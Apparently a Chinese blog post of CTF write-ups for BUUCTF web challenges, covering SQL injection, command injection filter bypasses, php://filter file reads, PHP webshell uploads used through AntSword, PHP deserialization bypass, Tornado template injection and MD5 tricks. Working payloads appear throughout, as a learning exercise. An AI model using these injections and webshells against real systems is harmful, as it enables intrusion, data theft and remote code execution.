0


【CTF】buuctf web 详解(持续更新)

buuctf web

[HCTF 2018]WarmUp

题目类型:PHP代码审计
在这里插入图片描述
查看源码,发现有一个source.php文件
在这里插入图片描述
查看此文件,出现一堆PHP代码
在这里插入图片描述
发现里面有一个hint.php文件,查看一下
在这里插入图片描述
文件里说明flag在ffffllllaaaagggg里
在这里插入图片描述

  • 代码审计is_string():检测变量是否是字符串isset():检测变量是否已设置并且非 NULLin_array(要搜索的值,要搜索的数组):搜索数组中是否存在指定的值mb_substr($page,n,m):返回page中从第n位开始,到n+m位字符串的值mb_strpos():查找字符串在另一个字符串中首次出现的位置urldecode():将url编码后的字符串还原成未编码的样子
<?php
    highlight_file(__FILE__);classemmm{publicstaticfunctioncheckFile(&$page){$whitelist=["source"=>"source.php","hint"=>"hint.php"];//如果page的值为空或者不是字符串if(!isset($page)||!is_string($page)){echo"you can't see it";returnfalse;}//检测page的值是否在白名单中if(in_array($page,$whitelist)){returntrue;}//返回page中从第0位开始到第一个?出现的位置,之间的值赋给page$_page=mb_substr($page,0,mb_strpos($page.'?','?')//查找字符串在另一个字符串中首次出现的位置);//检验page的值是否在白名单内if(in_array($_page,$whitelist)){returntrue;}//将url编码后的字符串还原成未编码的样子,然后赋值给page$_page=urldecode($page);//返回page中从第0位开始到第一个?出现的位置,之间的值赋给page$_page=mb_substr($_page,0,mb_strpos($_page.'?','?')//查找字符串在另一个字符串中首次出现的位置);//检验page的值是否在白名单内if(in_array($_page,$whitelist)){returntrue;}echo"you can't see it";returnfalse;}}if(!empty($_REQUEST['file'])&&is_string($_REQUEST['file'])&&emmm::checkFile($_REQUEST['file'])){include$_REQUEST['file'];exit;}else{echo"<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";}?>

[极客大挑战 2019]EasySQL

题目类型:简单的SQL注入
直接万能密码
在这里插入图片描述

[极客大挑战 2019]Havefun

题目类型:代码审计
在这里插入图片描述查看源代码

</div><!--$cat=$_GET['cat'];echo$cat;if($cat=='dog'){echo'Syc{cat_cat_cat_cat}';}--><div style="position: absolute;bottom: 0;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:black;"> Syclover @ cl4y</p></div></body></html>

代码审计
有一个cat变量,通过get方式传参,如果cat=dog输出flag
使用构造payload:

/?cat=dog

在这里插入图片描述

[强网杯 2019]随便注

题目类型:SQL注入
本题要有SQL语法基础:SQL通用语法
在这里插入图片描述在这里插入图片描述在这里插入图片描述
查询3时报错,说明有两个字段

然后想尝试联合查询
结果报错

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

发现过滤了

select|update|delete|drop|insert|where|\./i

爆数据库:

1';show databases;#

在这里插入图片描述
爆表名:

1'; show tables;#

在这里插入图片描述
出来两个表

1'; show columns from words;#

在这里插入图片描述

1'; show columns from '1919810931114514';#

注意:表名为数字时,要用反引号包起来查询。
在这里插入图片描述
发现1919810931114514表中有flag

接下来的参考大佬们的方法
大佬文章里总结了三种方法,第一种比较好理解,其他两种怪我太菜看不太明白

  • 通过 rename 先把 words 表改名为其他的表名。
  • 把 1919810931114514 表的名字改为 words 。
  • 给新 words 表添加新的列名 id 。
  • 将 flag 改名为 data 。1'; rename table words to word1; rename table '1919810931114514' to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);#

[ACTF2020 新生赛]Include

题目类型:文件包含、PHP封装协议
在这里插入图片描述
点击链接

在这里插入图片描述
出现了flag.php文件,?file=flag.php 猜测文件包含漏洞,此时就要想办法查看这个文件,那怎样来查看呢,下面是我学到的一个方法

重要的知识点——PHP封装协议:

php://filter/read=convert.base64-encode/resource=xxx.php

php://filter 是php中独有的一个协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取;根据名字filter,可以很容易想到这个协议可以用来过滤一些东西; 使用不同的参数可以达到不同的目的和效果:

resource=<要过滤的数据流>

指定了你要筛选过滤的数据流。 必选

read=<读链的筛选列表>

可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选

write=<写链的筛选列表>

可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选

<;两个链的筛选列表>

任何没有以 read= 或write=作前缀 的筛选器列表会视情况应用于读或写链。
php://filter与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行。从而导致任意文件读取。
read=convert.base64-encode,用base64编码输出,不然会直接当做php代码执行,看不到源代码内容。

  • php://filter协议,用base64编码的方式来读文件flag.php;这时页面会显示出源文件flag.php经过base64编码后的内容,然后经过base64解码就可以看到flag;
  • payload: /?file=php://filter/read=convert.base64-encode/resource=flag.php
  • 得到base64编码后的内容为: PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7Y2U4MzdmMmYtYjI2Mi00ZDYxLWEzOWQtOTE4OWIwYmM0ODZkfQo=
  • 接着base64解码:<?phpecho"Can you find out the flag?";//flag{ce837f2f-b262-4d61-a39d-9189b0bc486d}
  • 得到flag~~

我们再以这种方法查看一下index.php文件

<meta charset="utf8"><?php
// 关闭错误报告error_reporting(0);//以get方式传参$file=$_GET["file"];//stristr() 函数搜索字符串在另一字符串中的第一次出现,并返回字符串的剩余部分。//一下if语句过滤了"php://input" 、 "zip://" 、 "phar://" 、 "data:"if(stristr($file,"php://input")||stristr($file,"zip://")||stristr($file,"phar://")||stristr($file,"data:")){exit('hacker!');}if($file){include($file);}else{echo'<a href="?file=flag.php">tips</a>';}?>

[SUCTF 2019]EasySQL

在这里插入图片描述
先判断一下是数字型还是字符型,输入1
在这里插入图片描述
OK,有回显;然后各种试试试,都是nonono

还好,试了一下堆叠注入
爆出数据库:

1;show databases;#

在这里插入图片描述爆表:

1;show tables;#

在这里插入图片描述然后爆字段:

1;show columns from FLAG;#

,输入后回显

Nonono.

,猜测有被过滤
总之试了好多,搞得我又双叒叕不会了,唉···

下面是学习众多大佬的方法
不知道大佬们怎么猜测出查询语句为:

select ".$post['query']."||flag from Flag

由于本题没有过滤

*

,用

*

查询flag中的所有字段,所以直接构造payload为:

*,1

在这里插入图片描述
就是这么神奇

[极客大挑战 2019]Secret File

在这里插入图片描述
查看源码

<!DOCTYPEhtml><html><styletype="text/css">#master{position:absolute;left:44%;bottom:0;text-align:center;}p,h1{cursor: default;}</style><head><metacharset="utf-8"><title>蒋璐源的秘密</title></head><bodystyle="background-color:black;"><br><br><br><br><br><br><h1style="font-family:verdana;color:red;text-align:center;">你想知道蒋璐源的秘密么?</h1><br><br><br><pstyle="font-family:arial;color:red;font-size:20px;text-align:center;">想要的话可以给你,去找吧!把一切都放在那里了!</p><aid="master"href="./Archive_room.php"style="background-color:#000000;height:70px;width:200px;color:black;left:44%;cursor:default;">Oh! You found me</a><divstyle="position: absolute;bottom: 0;width: 99%;"><palign="center"style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div></body></html>

有这样一行代码

<a id="master" href="./Archive_room.php" style="background-color:#000000;height:70px;width:200px;color:black;left:44%;cursor:default;">Oh! You found me</a>

进入这个目录查看一下
在这里插入图片描述
点击secret
在这里插入图片描述
提示查阅结束,返回上个目录,查看一下源码
在这里插入图片描述此时也没有什么发现,抓个包试了试

在这里插入图片描述
这里提示secr3t.php,我们进入这个目录看一下
在这里插入图片描述
这里提示flag放在了flag.php里,进入falg.php目录
在这里插入图片描述还是没有出现flag,找到了但是看不到,此时又想到了PHP的封装协议,我们用一下 [ACTF2020 新生赛]Include里面使用的方法

构造payload:

/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
<!DOCTYPE html><html><head><meta charset="utf-8"><title>FLAG</title></head><body style="background-color:black;"><br><br><br><br><br><br><h1 style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br><p style="font-family:arial;color:red;font-size:20px;text-align:center;"><?php
                echo"我就在这里";$flag='flag{24db537d-9661-4a16-98c8-5c9df4c936fc}';$secret='jiAng_Luyuan_w4nts_a_g1rIfri3nd'?></p></body></html>

成功找到flag~~

[ACTF2020 新生赛]Exec

与[GXYCTF2019]Ping Ping Ping题类似,但此题更简单

需要了解的知识点
ls(英文全拼:list files):用于显示指定工作目录下的内容(列出目前工作目录所含之文件及子目录)

cat(英文全拼:concatenate):用于连接文件并打印到标准输出设备上。

在这里插入图片描述
查看此文件的目录:

127.0.0.1|ls

在这里插入图片描述
只有一个index.php

查看上级目录

127.0.0.1|ls /

在这里插入图片描述
查看flag:

127.0.0.1|cat /flag

在这里插入图片描述
拿到flag~~

[极客大挑战 2019]LoveSQL

在这里插入图片描述这里提示用 sqlmap 是没有灵魂的,他说没灵魂,可我就是想试一下,结果确实没有灵魂,奉劝像我一样有叛逆心理的师傅们还是不要浪费时间试了······

听话孩子的解法:
先随便输入一个万能密码
在这里插入图片描述
找到回显位置
在这里插入图片描述
试试联合查询,一直到3的时候回显正常
在这里插入图片描述
2和3有回显位置
在这里插入图片描述在这里插入图片描述

输入用户名为1
爆数据库password=:

1' union select 1,2,database()#

在这里插入图片描述
得到数据库名为geek
爆表名password=

1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1#

——爆出表名为geekuser
爆表名password=

1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 1,1#

——爆出表名为l0ve1ysq1
爆列名password=

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1' #

——id,username,password
在这里插入图片描述
爆数据:

/check.php?username=1&password=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23

在这里插入图片描述咦?最后这里有点像flag的一部分,怎么就出来这点?缩小一下看看

在这里插入图片描述呐,不能再小了;嘻嘻,直接F12呗

在这里插入图片描述拿到flag~~

[GXYCTF2019]Ping Ping Ping

具体知识点点这里
题目类型:命令执行+代码审计
在这里插入图片描述
提示

/?ip=

输入

/?ip=127.0.0.1

,回显成功
在这里插入图片描述
显示当前的所有文件:

/?ip=127.0.0.1|ls

在这里插入图片描述这里查到了两个php文件
查看flag.php:

?ip=127.0.0.1|cat flag.php

在这里插入图片描述这里提示

/?ip= fxck your space!

额···fxck是什么东西,space是空格,大佬说应该是空格被过滤了

命令中空格被过滤的解决方法:

{cat,flag.txt} 
cat${IFS}flag.txt
cat$IFS$9flag.txt

:

$IFS$9 $9指传过来的第9个参数
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

试试第一个方法:

/?ip=127.0.0.1|{cat,flag.php}

在这里插入图片描述发现符号又被过滤了,说明

{}

大括号被过滤了,那第二个不能用了
试试第三个方法

/?ip=127.0.0.1|cat$IFS$9flag.php

在这里插入图片描述flag也被过滤了!

不是查出来两个文件嘛,看看另一个吧
查看index.php文件:

/?ip=127.0.0.1|cat$IFS$9index.php

在这里插入图片描述发现这个PHP代码好像不太全,我们查看一下源码,出来了,下面是PHP代码

<?phpif(isset($_GET['ip'])){$ip=$_GET['ip'];if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/",$ip,$match)){echopreg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/",$ip,$match);die("fxck your symbol!");}elseif(preg_match("/ /",$ip)){die("fxck your space!");}elseif(preg_match("/bash/",$ip)){die("fxck your bash!");}elseif(preg_match("/.*f.*l.*a.*g.*/",$ip)){die("fxck your flag!");}$a=shell_exec("ping -c 4 ".$ip);//执行操作符 ,-c 4 表示ping的指定次数为4echo"<pre>";print_r($a);}?>

代码审计一下,好多都被过滤了emmm;但最后有个变量a,我也不知道怎么做
不会了,学一下大佬的方法吧

  • 方法一:变量拼接字符串——将a的值覆盖,然后进行绕过 构造payload:/?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php 总之就是用变量拼接成flag在这里插入图片描述啥也没有,查看源码/?ip=<pre>PING127.0.0.1(127.0.0.1):56 data bytes<?php$flag="flag{af15354a-6bdf-4609-b230-75bdc03e1dbf}";?>拿到flag~~
  • 方法二:内联执行内联函数:将指定的函数体插入并取代每一处调用该函数的地方。反引号在linux中作为内联执行,执行输出结果。也就是说cat `ls` //执行ls输出 index.php 和 flag.php 。然后再执行 cat flag.php;cat index.php构造payload /?ip=127.0.0.1;cat$IFS$9`ls` 在这里插入图片描述方法三:sh命令来执行 使用 base64 编码的方式来绕过 flag 过滤。加密命令 echo “cat flag.php” | base64 解密命令并执行 echo Y2F0IGZsYWcucGhwCg== | base64 -d | sh

然后用

$IFS$9

代替空格。
构造payload:

/?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhwCg==$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|$IFS$9sh 

在这里插入图片描述 拿到flag~~

[极客大挑战 2019]Knife

在这里插入图片描述很明显的提示,用中国菜刀或者蚁剑,这里我使用蚁剑

构造payload:

/?<?php eval($_POST["Syc"]);?>

打开蚁剑添加数据
URL地址为:http://094fc751-45ef-4f6e-961d-daee474ee7b4.node4.buuoj.cn/index.php
密码为:Syc
在这里插入图片描述

用蚁剑查看目录
在这里插入图片描述查看根目录,找到flag
在这里插入图片描述进入flag文件夹里
在这里插入图片描述
拿到flag~~

[极客大挑战 2019]Http

在这里插入图片描述在这里插入图片描述

查看源代码,发现有一个Secret.php
在这里插入图片描述

进入这个访问该目录
在这里插入图片描述提示:It doesn’t come from ‘https://www.Sycsecret.com’,也就是说这个页面得来自https://www.Sycsecret.com,添加referer即可

Referer头用于告诉web服务器,用户是从哪个页面找过来的

在这里插入图片描述
提示Please use “Syclover” browser:请使用“Syclover”浏览器
添加

User-Agent:Syclover

User-Agent头用于告诉web服务器用户使用的浏览器和操作系统信息

在这里插入图片描述提示No!!! you can only read this locally!!!:不! !您只能在本地阅读!!
添加

X-Forwarded-For:127.0.0.1

在这里插入图片描述拿到flag~~

[RoarCTF 2019]Easy Calc

对我来说是一道难题,不过又学到好多
在这里插入图片描述
查看源码
在这里插入图片描述
抓包
在这里插入图片描述发现calc.php,访问一下
在这里插入图片描述有个黑名单

OKOK,上面是我所有收集到的信息,然后源码有部分也看不懂,不知道该怎么下手,甚至还不知道这是个什么类型的题目,下面开始学习大佬

知识点:

  • chr() 函数:从指定的 ASCII 值返回字符。 ASCII 值可被指定为十进制值、八进制值或十六进制值。八进制值被定义为带前置0,而十六进制值被定义为带前置 0x。
  • file_get_contents() 函数:把整个文件读入一个字符串中。该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能。
  • PHP的字符串解析特性:PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:1.删除空白符 2.将某些字符转换为下划线(包括空格)【当waf不让你过的时候,php却可以让你过】。假如waf不允许num变量传递字母,可以在num前加个空格,这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。
  • scandir() 函数:返回指定目录中的文件和目录的数组。

查看源码
在这里插入图片描述
$(“#content”).val()相当于 document.getElementById(“content”).value;

  • 方法一:PHP的字符串解析特性 尝试一下/calc.php?num=phpinfo()在这里插入图片描述> PHP的字符串解析特性:PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:1.删除空白符 2.将某些字符转换为下划线(包括空格)【当waf不让你过的时候,php却可以让你过】。假如waf不允许num变量传递字母,可以在num前加个空格,这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。num前加个空格:/calc.php? num=phpinfo()在这里插入图片描述 由于“/”被过滤了,所以我们可以使用chr(47)来进行表示,进行目录读取:calc.php? num=1;var_dump(scandir(chr(47)))在这里插入图片描述 构造:/flagg——chr(47).chr(102).chr(49).chr(97).chr(103).chr(103) payload:calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))在这里插入图片描述
  • 方法二:http走私攻击 构造:/flagg——chr(47).chr(102).chr(49).chr(97).chr(103).chr(103) payload:/calc.php?num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))在这里插入图片描述

[极客大挑战 2019]Upload

在这里插入图片描述
创建一个木马文件,以便后续用蚁剑链接
文件内容为

GIF89a
<script language="php">eval($_POST['a']);</script> 

在这里插入图片描述可绕过的后缀名检测:

php,php3,php4,php5,phtml.pht

上传此文件,然后提示

Not image!

在这里插入图片描述

用burpsuite抓包,根据提示,修改

Content-Type

的内容为

image/jpeg

在这里插入图片描述

URL地址为:

/upload/a.phtml

连接密码为:

a

在这里插入图片描述

在这里插入图片描述
找到flag文件
在这里插入图片描述
在这里插入图片描述
拿到flag~~

[极客大挑战 2019]PHP

具体知识点点这里
题目类型:序列化与反序列化

在这里插入图片描述
这儿提示备份网站,用dirsearch扫一下后台目录
输入:

python dirsearch.py -u http://9b76aef7-3183-4da4-a909-0f95ad5b6607.node4.buuoj.cn -e php

在这里插入图片描述
找到www.zip,访问一下![在这里插入图片描述](https://img-blog.csdnimg.cn/5bb7833a01f64a36b7fd905609a12acf.png)
跳出弹窗,点击下载

在这里插入图片描述
发现有flag.php目录
在这里插入图片描述

<?php$flag='Syc{dog_dog_dog_dog}';?>

无用信息
查看index.php源码,
在这里插入图片描述
发现包含class.php文件,采用get传参select,还有个php反序列化函数unserialize()

查看另一个文件class.php
在这里插入图片描述
查看源码
在这里插入图片描述

发现有输出flag的条件,接下来代码审计

<?phpinclude'flag.php';error_reporting(0);className{private$username='nonono';private$password='yesyes';//创建对象时触发publicfunction__construct($username,$password){$this->username=$username;$this->password=$password;}//使用unserialize时触发function__wakeup(){$this->username='guest';}//对象被销毁时触发//如果password=100,username=admin,在执行__destruct()的时候可以获得flagfunction__destruct(){if($this->password!=100){echo"</br>NO!!!hacker!!!</br>";echo"You name is: ";echo$this->username;echo"</br>";echo"You password is: ";echo$this->password;echo"</br>";die();}if($this->username==='admin'){global$flag;echo$flag;}else{echo"</br>hello my friend~~</br>sorry i can't give you the flag!";die();}}}?>

通过反序列化来执行destruct函数,如果password=100,username=admin,可以获得flag

构造序列化

<?phpclassName{private$username='nonono';private$password='yesyes';publicfunction__construct($username,$password){$this->username=$username;$this->password=$password;}}$a=newName('admin',100);var_dump(serialize($a));?>

在这里插入图片描述

接着执行反序列化,执行之前限制性wakeup函数,但是__wakeup函数会修改username的值,所以一个想办法绕过wakeup
绕过方法:当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)

  • 方法一:用序列化加%00****private:属性被序列化的时候属性名会变成%00类名%00属性名,长度跟随属性名长度而改变。加%00的目的就是用于替代\0O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}构造payload:/?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}在这里插入图片描述
  • 方法二:直接url编码<?phpclassName{private$username='nonono';private$password='yesyes';publicfunction__construct($username,$password){$this->username=$username;$this->password=$password;}}$a=newName('admin',100);var_dump(serialize($a));var_dump(urlencode(serialize($a)));//进行url编码,防止%00对应的不可打印字符在复制时丢失?>在这里插入图片描述

[护网杯 2018]easy_tornado

首先出来三个链接
在这里插入图片描述查看flag.txt
在这里插入图片描述提示flag在/fllllllllllllag中
OK,知道了第一个条件,filename=/fllllllllllllag
查看welcome.txt
在这里插入图片描述查看hints.txt
在这里插入图片描述
分析一下
在这里插入图片描述
这里有两个参数,第一个参数filename,文件的名称,我们通过查看flag.txt文件知道,藏flag的文件名为fllllllllllllag;第二个参数filehash,翻译一下:文件哈希,也就是加密了

加密方法在第三个文件中

md5(cookie_secret+md5(filename))

,将cookie_secret+filename的值md5加密后的值,整体再md5加密;然后把最后的值赋给filehash

现在最重要的一步就是获取cookie_secret的值,这个我不会。看一下大佬们怎么做

在试的过程中,尝试只输入filename的值而忽略filehash,结果出来以下内容,URL变成

/error?msg=Error

在这里插入图片描述我们前面忽视了第二个文件内容

render

。我以为只是个没用的信息,结果一查,还是个挺重要的东西,怪我见得太少

render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页 ,如果用户对render内容可控,不仅可以注入XSS代码,而且还可以通过{{}}进行传递变量和执行简单的表达式。
Tornado是一种 Web 服务器软件的开源版本。Tornado 和现在的主流 Web 服务器框架(包括大多数 Python 的框架)有着明显的区别:它是非阻塞式服务器,而且速度相当快。

以上是我的分析过程,下面看一下大佬的解法

由于是python的一个模板,首先想到的就是模板注入{{}},最终找到的位置是报错网页(随便访问一个文件是更改它的签名就可以进入),里面的参数msg。
render是模板注入,经过测试发现过滤了。构造payload:

/error?msg={{1*2}}

在这里插入图片描述

在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量

构造payload

/error?msg={{handler.settings}}

在这里插入图片描述
找到cookie_secret为

6e6e371d-7445-46db-8066-46e0e25c8b7a

filename的值md5加密后为

3bf9f6cf685a6dd8defadabfb41a03a1

cookie_secret+filename加密后的值为

9ff081746c35f525a315a313ac1a00d8

构造payload:

/file?filename=/fllllllllllllag&filehash=9ff081746c35f525a315a313ac1a00d8

在这里插入图片描述

[ACTF2020 新生赛]Upload

题目类型:文件上传,一句话木马
在这里插入图片描述
上传一句话木马

<?php eval($_POST[a]);?>

,修改后缀名为

.jpg

在这里插入图片描述

burpsuite抓包,修改后缀名
在这里插入图片描述
知道修改为

.phtml

后显示上传成功
在这里插入图片描述

使用蚁剑连接,URL地址为:

http://848a2803-bdd9-4890-be0e-526c8ce1433f.node4.buuoj.cn:81/./uplo4d/71056c0c9cb12f2b7d720156da9eabf1.phtml

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
拿到flag~~

[极客大挑战 2019]BabySQL

题目类型:SQL注入
在这里插入图片描述

输入用户名为

admin

,密码为

1'

在这里插入图片描述
由报错信息可知存在SQL注入漏洞
在这里插入图片描述
先试一下常规注入:

/check.php?username=admin&password=1' union select 1#

在这里插入图片描述
根据报错信息猜测union 、select可能被过滤了,试一下双写绕过

/check.php?username=admin&password=1' ununionion seselectlect 1#

在这里插入图片描述
继续报错,URL编码试一下,然后试列数
payload:

/check.php?username=admin&password=1' ununionion seselectlect 1,2,3%23

在这里插入图片描述

出现回显位置2和3

爆数据库:

/check.php?username=admin&password=1' ununionion seselectlect 1,2,group_concat(schema_name)frfromom(infoorrmation_schema.schemata) %23

在这里插入图片描述
猜测flag在ctf里
爆表:

/check.php?username=admin&password=1' ununionion seselectlect 1,2, group_concat(table_name)frfromom(infoorrmation_schema.tables) whwhereere table_schema="ctf" %23

在这里插入图片描述
查字段名:

/check.php?username=admin&password=pwd ' ununionion seselectlect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere table_name="Flag"%23

在这里插入图片描述

/check.php?username=admin&password=pwd ' ununionion seselectlect 1,2,group_concat(flag) frfromom(ctf.Flag)%23

在这里插入图片描述

[ACTF2020 新生赛]BackupFile

题目类型:备份文件

  • 知识点- ==是不判断二者是否是同一数据类型,而===是更为严格的比较,它不仅要求二者值相等,而且还要求它们的数据类型也相同。- 常见的备份文件后缀:.rar .zip .7z .tar .gz .bak .swp .txt .html- is_numeric函数用于检测变量是否为数字或数字字符串- intval() 函数用于获取变量的整数值- 数字 加 字母等非数字转换 > var s = ‘234string’;> parseInt(s); //234> parseFloat(s); //234.0
  • 解题步骤在这里插入图片描述用dirsearch扫一下目录:python dirsearch.py -u 3943f78f-4c3d-4d7c-8728-9f59f4527095.node4.buuoj.cn:81 -e php在这里插入图片描述 访问index.php.bak在这里插入图片描述 出现PHP代码<?phpinclude_once"flag.php";if(isset($_GET['key'])){$key=$_GET['key'];//is_numeric函数用于检测变量是否为数字或数字字符串if(!is_numeric($key)){exit("Just num!");}//intval() 函数用于获取变量的整数值$key=intval($key);$str="123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";if($key==$str){echo$flag;}}else{echo"Try to find out source file!";}代码审计:通过key变量get传参,要求此变量必须是数字,且取整数之后值为123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3 取key的值为123 在这里插入图片描述

[HCTF 2018]admin

更多知识点及解题方法点这里
在这里插入图片描述这里有两个选项,点击register注册一个新账户
在这里插入图片描述

下面这就算是登进来了
在这里插入图片描述
查看源码

在这里插入图片描述
提示you are not admin,可能需要登录admin才能获取我们想要的东西

试一下弱口令,用户名

admin

,密码

123

在这里插入图片描述结果就这么成功登进来了,所以这里警示我们密码复杂点

好,上面是插叙,下面才是正常解法

在这里插入图片描述
登录后有四个选项
点击post

在这里插入图片描述猜测是xss,结果一顿操作后啥也不是

下一个选项change password
发现change源码中有一个地址

在这里插入图片描述
访问一下发现提供了网页的源码,是一个flask项目
在这里插入图片描述既然是flask项目,那就先查看一下路由
在APP目录里找到

routes.py

路由文件

#!/usr/bin/env python# -*- coding:utf-8 -*-from flask import Flask, render_template, url_for, flash, request, redirect, session, make_response
from flask_login import logout_user, LoginManager, current_user, login_user
from app import app, db
from config import Config
from app.models import User
from forms import RegisterForm, LoginForm, NewpasswordForm
from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep
from io import BytesIO
from code import get_verify_code

@app.route('/code')defget_code():
    image, code = get_verify_code()# 图片以二进制形式写入
    buf = BytesIO()
    image.save(buf,'jpeg')
    buf_str = buf.getvalue()# 把buf_str作为response返回前端,并设置首部字段
    response = make_response(buf_str)
    response.headers['Content-Type']='image/gif'# 将验证码字符串储存在session中
    session['image']= code
    return response

@app.route('/')@app.route('/index')defindex():return render_template('index.html', title ='hctf')@app.route('/register', methods =['GET','POST'])defregister():if current_user.is_authenticated:return redirect(url_for('index'))

    form = RegisterForm()if request.method =='POST':
        name = strlower(form.username.data)if session.get('image').lower()!= form.verify_code.data.lower():
            flash('Wrong verify code.')return render_template('register.html', title ='register', form=form)if User.query.filter_by(username = name).first():
            flash('The username has been registered')return redirect(url_for('register'))
        user = User(username=name)
        user.set_password(form.password.data)
        db.session.add(user)
        db.session.commit()
        flash('register successful')return redirect(url_for('login'))return render_template('register.html', title ='register', form = form)@app.route('/login', methods =['GET','POST'])deflogin():if current_user.is_authenticated:return redirect(url_for('index'))

    form = LoginForm()if request.method =='POST':
        name = strlower(form.username.data)
        session['name']= name
        user = User.query.filter_by(username=name).first()if user isNoneornot user.check_password(form.password.data):
            flash('Invalid username or password')return redirect(url_for('login'))
        login_user(user, remember=form.remember_me.data)return redirect(url_for('index'))return render_template('login.html', title ='login', form = form)@app.route('/logout')deflogout():
    logout_user()return redirect('/index')@app.route('/change', methods =['GET','POST'])defchange():ifnot current_user.is_authenticated:return redirect(url_for('login'))
    form = NewpasswordForm()if request.method =='POST':
        name = strlower(session['name'])
        user = User.query.filter_by(username=name).first()
        user.set_password(form.newpassword.data)
        db.session.commit()
        flash('change successful')return redirect(url_for('index'))return render_template('change.html', title ='change', form = form)@app.route('/edit', methods =['GET','POST'])defedit():if request.method =='POST':
        
        flash('post successful')return redirect(url_for('index'))return render_template('edit.html', title ='edit')@app.errorhandler(404)defpage_not_found(error):
    title =unicode(error)
    message = error.description
    return render_template('errors.html', title=title, message=message)defstrlower(username):
    username = nodeprep.prepare(username)return username

然后我就没什么思路了,下面看一下大佬们的解题方法

  • 代码审计:这里重点要注意以下strlower()函数,其中调用nodeprep.prepare函数,在代码开头有一行代码:from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep,说明nodeprep是从twisted模块中导入的,利用nodeprep.prepare函数会将unicode字符转换成A,而A在调用一次nodeprep.prepare函数会把A转换成a。而值得注意的是strlower()自定义函数被调用了三次,分别是registerloginchange,即注册、登陆、修改密码时都会被调用。
  • 思路:用ᴬdmin注册,后台代码就会调用一次nodeprep.prepare函数,把用户名转换成Admin;修改一次密码,再次调用nodeprep.prepare函数,使用户名由Admin转换为admin,重新登陆,就可以得到flag

在这里插入图片描述
登陆
在这里插入图片描述
进入之后自动将

ᴬdmin

转换为

Admin

然后修改密码重新登陆
在这里插入图片描述
在这里插入图片描述拿到flag~~

[极客大挑战 2019]BuyFlag

在这里插入图片描述

在这里插入图片描述
查看源码
在这里插入图片描述
代码审计:以post方式传参,money=100000000,password满足等于404,但是不能为数字,所以password等于404+任意字符
使用burpsuite抓包

总结一下需要满足四个条件:

前面提示必须是cuit的学生

以post方式传参

money=100000000

password=404a

所以修改cookie里的

user=0

user=1

在这里插入图片描述

password=404a&money=100000000


在这里插入图片描述这里提示数字太长

password=404a&money=1e9

在这里插入图片描述

[BJDCTF2020]Easy MD5

在这里插入图片描述
查看源代码没有什么发现,抓包看一看

在这里插入图片描述线索暗示:

Hint: select * from 'admin' where password=md5($pass,true)

md5(string,raw)
参数描述string必需。规定要计算的字符串。raw可选。规定十六进制或二进制输出格式: TRUE - 原始 16 字符二进制格式;FALSE - 默认。32 字符十六进制数
现在需要构造or来绕过password,

md5(ffifdyop,true)='or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c

原sql查询语句则变为

select * from user where username ='admin' and password =''or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c'

即可绕过
类似的字符串还有:

md5(129581926211651571912466741651878684928,true)=\x06\xdaT0D\x9f\x8fo#\xdf\xc1'or'8

在输入ffifdyop后,出现

在这里插入图片描述

查看源码
在这里插入图片描述
这里就需要知道一个知识点:md5加密后的值开头为0E是他们的值相等

/levels91.php?a=s878926199a&b=s155964671a

出现以下提示
在这里插入图片描述
我们访问levell14.php
